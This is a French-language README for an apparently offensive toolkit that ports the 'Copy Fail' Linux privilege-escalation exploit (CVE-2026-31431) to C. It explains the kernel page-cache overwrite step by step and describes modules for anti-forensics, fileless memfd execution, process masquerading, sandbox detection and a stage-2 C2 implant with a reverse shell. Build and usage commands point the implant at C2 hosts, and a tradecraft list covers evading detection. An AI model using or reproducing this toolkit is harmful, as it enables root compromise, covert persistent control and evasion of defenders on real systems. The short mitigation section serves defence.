Copy Fail -- CVE-2026-31431

Implémentation C durcie pour les opérations d'équipe rouge et de tests de pénétration autorisés.

⚠️ Avis légal : Cet outil est destiné uniquement à la recherche en sécurité autorisée, aux tests de pénétration autorisés et à l'analyse défensive. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est illégal.

🚀 Le développement principal a été déplacé sur GitLab.
Ce dépôt est activement maintenu ici. Pour les problèmes et les contributions, veuillez utiliser GitLab.

Table des matières

• Aperçu
• Recherche originale
• Nos améliorations
• Architecture
• Build
• Utilisation
• Modules
• Sécurité opérationnelle
• Détection et atténuation
• Crédits
• Licence

Aperçu

Ce projet est un portage C durci et prêt pour la production de l'exploit d'élévation de privilèges local CVE-2026-31431 (« Copy Fail »), initialement divulgué par Theori et Xint le 29 avril 2026.

La preuve de concept originale était écrite en Python et conçue pour une démonstration de recherche. Cette implémentation la transforme en une boîte à outils de niveau équipe rouge avec :

• Aucun artefact disque (exécution sans fichier basée sur memfd)
• Découverte automatique de cibles (énumération des binaires setuid avec connaissance des MAC)
• Anti-forensique (suppression du cache, restauration des horodatages, autodestruction)
• Contrôle par l'opérateur (exécution déclenchée par signal avec délais configurables)
• Constructions statiques multiplateformes (x86_64, ARM64, RISC-V via musl/zig)

Recherche originale

CVE-2026-31431 : Copy Fail

Mécanisme de vulnérabilité

La vulnérabilité réside dans le sous-système crypto AF_ALG du noyau Linux. Le modèle AEAD authencesn implémente une optimisation en place pour le déchiffrement : lorsque le texte chiffré est fourni via splice() depuis le cache de pages d'un fichier, le noyau réutilise la même page à la fois comme source et comme destination.

Le flux d'attaque :

1. Ouvrir un binaire setuid (ex. /usr/bin/su) en lecture seule
2. Configurer une opération AEAD authencesn(hmac(sha256),cbc(aes)) via AF_ALG
3. Fournir le texte chiffré via splice() depuis le cache de pages du fichier cible
4. L'opération de déchiffrement (échouant) écrase 4 octets de la page du cache de pages avant que l'authentification ne la rejette
5. Répéter pour chaque fenêtre de 4 octets de la charge utile
6. execve() la cible -- le noyau charge les pages modifiées depuis le cache, accorde les droits setuid-root
7. La charge utile pivote vers un shell root complet

Point clé : L'inode sur le disque n'est jamais modifié. Seul le cache de pages en mémoire est modifié, ce qui rend la détection forensique nettement plus difficile que les exploits traditionnels par écrasement de fichier.

Nos améliorations

Ce projet étend la recherche originale avec un durcissement orienté équipe rouge à travers neuf modules.

1. Primitive d'exploit durcie (patch_chunk.c)

2. Découverte automatique de cibles (target_discovery.c)

• Analyse en trois phases : cibles prioritaires → répertoires standard → analyse profonde
• Score avec connaissance des MAC : pénalise les binaires avec des profils AppArmor/SELinux
• 18 cibles prioritaires : su, sudo, passwd, pkexec, mount, ping, etc.
• Chaîne de repli : si la cible principale échoue, sélectionne automatiquement le meilleur candidat suivant
• Awareness Snap : ignore /snap (setuid non traditionnel)

3. Suite anti-forensique (anti_forensics.c)

4. Exécution sans fichier (memfd_exec.c)

• memfd_create + fexecve : exécution sans chemin de fichier
• Camouflage : memfd nommé kworker, anon_inode, eventfd (se fond dans /proc/$pid/fd/)
• Fork et oubli : double fork pour créer un processus orphelin (PPID=1)
• Déchiffrement en mémoire : déchiffrement XOR et RC4 puis exécution (la charge utile n'est jamais en clair sur le disque)

5. Livraison de la charge utile de niveau 1 (stage1.c)

6. Implant C2 de niveau 2 (stage2_template.c)

• Boucle de reconnexion résiliente avec backoff exponentiel
• Trois distributions : uniforme, triangulaire, gigue exponentielle
• Contrôle par signal : SIGUSR1 (déclenchement), SIGUSR2 (statut), SIGTERM (arrêt)
• Balise DNS : vérification discrète de l'état du C2 avant connexion TCP
• Masquage de processus : [kworker/N:0] dans ps/top

7. Masquage de processus (proc_hide.c)

• Écrasement d'argv[0] : remplacement en place de /proc/$pid/cmdline
• prctl(PR_SET_NAME) : noms de style thread noyau (limite 16 octets)
• Sanitisation de l'environnement : nettoyage sélectif de SSH_*, AWS_*, TOKEN*, etc.
• Détachement du parent : setsid() + setpgid() pour l'indépendance du terminal

8. Contrôle par déclenchement de signal (signal_trigger.c)

Attente zéro CPU : sigsuspend() au lieu de boucles de scrutation.

9. Gigue de sommeil (sleep_jitter.c)

• Trois backends RNG : getrandom(2), /dev/urandom, repli rdtsc
• Échantillonnage par rejet : élimine le biais modulo dans la distribution uniforme
• Compensation de dérive : sleep_scheduled() maintient l'intervalle moyen malgré la gigue
• Détection de sandbox : check_sandbox_acceleration() détecte sleep() patchée

Architecture

┌─────────────────────────────────────────────────────────────┐
│                     exploit.c (Orchestrator)                 │
│  ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐          │
│  │  Hide   │ │Discover │ │ Exploit │ │ Cleanup │          │
│  │ Process │ │ Target  │ │         │ │         │          │
│  └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘          │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Core Module Layer                        │  │
│  │  patch_chunk.c  target_discovery.c  anti_forensics.c  │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Delivery & Evasion Layer               │  │
│  │  stage1.c  memfd_exec.c  proc_hide.c                │  │
│  │  signal_trigger.c  sleep_jitter.c                   │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Payload Layer (Stage-2)                │  │
│  │  stage2_template.c  (reverse shell / C2 implant)    │  │
│  └─────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

Build

Prérequis

• GCC ou Clang
• GNU Make
• En-têtes Linux (linux-libc-dev ou équivalent)
• Optionnel : musl-tools (pour les constructions statiques minimales)
• Optionnel : zig (pour la compilation croisée moderne)
• Optionnel : dpkg-deb (pour l'empaquetage Debian)

Démarrage rapide

# Construction standard équipe rouge (optimisée, strippée, statique)
make redteam

# Construction pentest (symboles, optimisation modérée)
make pentest

# Construction debug (ASAN, symboles complets)
make debug

# Vérificateur de vulnérabilité (non destructif)
make checker

Compilation croisée

# ARM64 (cibles cloud AWS/Azure)
make cross-arm64

# RISC-V
make cross-riscv

# ARM HF (embarqué/IoT)
make cross-armhf

# Compilation croisée Zig (sans installation d'outillage)
make cross-zig-arm64
make cross-zig-riscv

Construction statique musl (binaires minuscules)

make musl-static
# Produit des binaires statiques de ~50-100 Ko sans dépendance glibc

Paquet Debian

make deb VERSION=1.0.0
# Produit : build/deb/copy-fail-cve-2026-31431-1.0.0.deb

Informations de construction

make info
# Affiche : CC, CFLAGS, LDFLAGS, architecture, disponibilité de l'outillage

Utilisation

Mode standard (déclenché par signal)

# Déploiement de l'implant
./exploit &
IMP_PID=$!

# Déclenchement de l'exploitation à distance
kill -USR1 $IMP_PID

# Demande de statut (aucune action)
kill -USR2 $IMP_PID

# Arrêt gracieux
kill -TERM $IMP_PID

Exécution immédiate

./exploit -t                    # Déclencher maintenant, sans attente de signal
./exploit -t -c c2.example.com -p 9999

Configuration personnalisée

./exploit \
  -c c2.redteam.internal \      # Nom d'hôte C2
  -p 4444 \                      # Port C2
  -d 300 \                       # Délai initial de 5 minutes
  -T 7200 \                      # Délai de déclenchement de 2 heures
  -n                             # Ignorer la vérification de vulnérabilité

Vérification non destructive de vulnérabilité

./vulnerable
# Code de sortie : 100 = vulnérable, 0 = patché, autre = erreur

Modules

Sécurité opérationnelle

Bonnes pratiques équipe rouge

1. Déployer pendant les périodes de faible activité pour minimiser la corrélation
2. Utiliser une gigue exponentielle pour les intervalles de reconnexion (évite la détection par balise)
3. Déclencher via SIGUSR1 plutôt qu'un déclenchement automatique (l'opérateur garde le contrôle)
4. Toujours exécuter le nettoyage (full_cleanup) même si l'exploit échoue
5. Privilégier l'exécution memfd plutôt que les charges utiles sur disque
6. Double fork pour la persistance (memfd_fork_exec_detach)
7. Surveiller l'accélération du sandbox avant d'exécuter

Artefacts forensiques

Détection et atténuation

Détection défensive

Atténuations

1. Correctif noyau : Mettez à jour vers Linux >= 6.14 avec le commit a664bf3d603d
2. Livepatch : Appliquez le backport spécifique à la distribution
3. SELinux/AppArmor : Appliquez des profils sur les binaires setuid
4. Surveillance eBPF : Tracez les combinaisons AF_ALG + splice()
5. Vérification du cache de pages : Contrôles d'intégrité périodiques sur les binaires critiques

Crédits

Recherche originale

• Theori -- Jinoh Kang, Yonghwi Jin, Seunghyun Lee
• Xint -- Divulgation collaborative
• Article : https://copy.fail/
• PoC originale : theori-io/copy-fail-CVE-2026-31431

Portage C de base

• Tony Gies -- tgies/copy-fail-c
• A fourni l'implémentation C fondamentale utilisant nolibc
• Wrappers d'appels système multiplateformes et infrastructure de construction

Ce fork durci

• Durcissement orienté équipe rouge sur 9 modules
• Fonctionnalités de sécurité opérationnelle (anti-forensique, évasion, furtivité)
• Support de compilation croisée (musl, zig, multi-arch)
• Contrôle par signal pour l'opérateur et modes d'exécution configurables

Remerciements

• Développeurs du noyau Linux pour memfd_create(2) et fexecve(3)
• Mainteneurs de nolibc pour l'alternative libc sous forme d'en-tête uniquement
• Projet musl libc pour les binaires statiques minuscules
• Projet Zig pour l'outillage moderne de compilation croisée

Licence

Ce projet est sous double licence :

• LGPL-2.1-or-later
• MIT

Voir les fichiers source individuels pour les identifiants SPDX.

La recherche originale et le portage C de base restent sous leurs licences respectives. Le code supplémentaire de ce fork est fourni sous la double licence ci-dessus pour une compatibilité maximale avec les cas d'utilisation de recherche en sécurité open source et commerciale.

Avertissement

Ce logiciel est fourni pour la recherche en sécurité autorisée et les tests de pénétration autorisés uniquement. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce logiciel. Obtenez toujours une autorisation appropriée avant de tester tout système que vous ne possédez pas.

Si vous découvrez cette vulnérabilité sur vos systèmes :

• Appliquez le correctif du noyau (commit a664bf3d603d ou backport de la distribution)
• Surveillez les indicateurs de compromission (IoCs) listés ci-dessus
• Examinez /var/log/audit/ et la télémétrie EDR pour les anomalies AF_ALG